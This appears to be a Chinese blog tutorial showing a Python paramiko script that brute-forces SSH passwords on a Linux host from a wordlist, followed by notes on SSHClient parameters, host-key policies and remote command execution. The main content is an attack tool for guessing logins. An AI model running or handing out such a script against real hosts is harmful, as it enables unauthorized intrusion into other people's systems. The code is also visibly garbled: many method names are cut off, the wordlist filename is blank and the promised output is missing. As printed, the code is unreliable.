2023年11月29日发(作者:)
使⽤python写简单的穷举法破解Linux主机密码
先上代码:
python
1. import paramiko
2. import socket
3. target = input('请输⼊你的主机:')
4. with open('', 'r') as f: #
5. for i in nes():
6. password = () # 删除字符串尾部的默认'n'或者空格
7. client = ent() # 实例化SSHClient
8. _missing_host_key_policy(dPolicy())
9. # ⾃动添加策略,保存要访问的服务器主机名和密钥到本机的HostKeys对象中,如果不添加,那么不在本地Know_hosts
10. # ⽂件中记录的主机将⽆法连接。
11. try:
12. t(hostname=target,username='kali',password=password,timeout=2)
13. ()
14. print('连接成功:%s' %password)
15. break
16. except _ticationException: # 抛出⾝份验证异常时,要输出错误
17. print(f'连接失败:{password}')
18. except t: # 抛出连接超时的异常
19. print('SSH ⽆法访问')
20. break
运⾏结果如下:
这个python代码使⽤了paramiko和socket包
paramiko核⼼组件SSHClient常⽤的⽅法:
t():实现远程服务器的连接和认证,对于该⽅法只有hostname时必传参数
SSHClient常⽤参数:
hostname
连接的⽬标主机
port=SSH_PORT
指定端⼝
username=None
登录主机的⽤户名
password=None
⽤户密码
pkey=None
私钥⽤于⾝份验证
key_filename=None
⼀个⽂件名或⽂件列表,指定私钥⽂件
timeout=None
可选的tcp超时时间
allow_agent=True
是否允许连接到ssh代理,默认为True 允许
look_for_keys=True
是否在~/.ssh中搜索私钥⽂件,默认为True 允许
compress=False
是否打开压缩
_missing_host_key_policy():设置远程服务器没有在know_hosts⽂件中记录时的应对策略。⽬前⽀持三种策略:
设置连接的远程主机没有本地主机密钥或HostKeys对象时的策略,⽬前⽀持三种:
AutoAddPolicy ⾃动添加要访问服务器主机名及密钥到本机的本地HostKeys对象,不依赖load_system_host_key的配置。即新建⽴ssh连接
时不需要再输⼊yes或no进⾏确认
WarningPolicy ⽤于记录⼀个未知的主机密钥的python警告。并接受,功能上和AutoAddPolicy类似,但是会提⽰是新连接
RejectPolicy ⾃动拒绝未知的主机名和密钥,依赖load_system_host_key的配置。此为默认选项
_command():
在远程服务器执⾏Linux命令的⽅法。
SSHClient常⽤⽅法:
实例化SSHClient
client = ent()
⾃动添加策略,保存服务器的主机名和密钥信息,若不添加,则不在本地know_hosts⽂件中记录的主机将⽆法连接
_missing_host_key_policy(dPolicy())
连接SSH服务端,以⽤户名和密码进⾏认证
t(hostname='192.168.1.105', port=22, username='root', password='123456')
打开⼀个Channel并执⾏命令
stdin, stdout, stderr = _command('df -h ') # stdout 为正确输出,stderr为错误输出,同时是有1个变量有值
打印执⾏结果
print(().decode('utf-8'))
关闭SSHClient
()


发布评论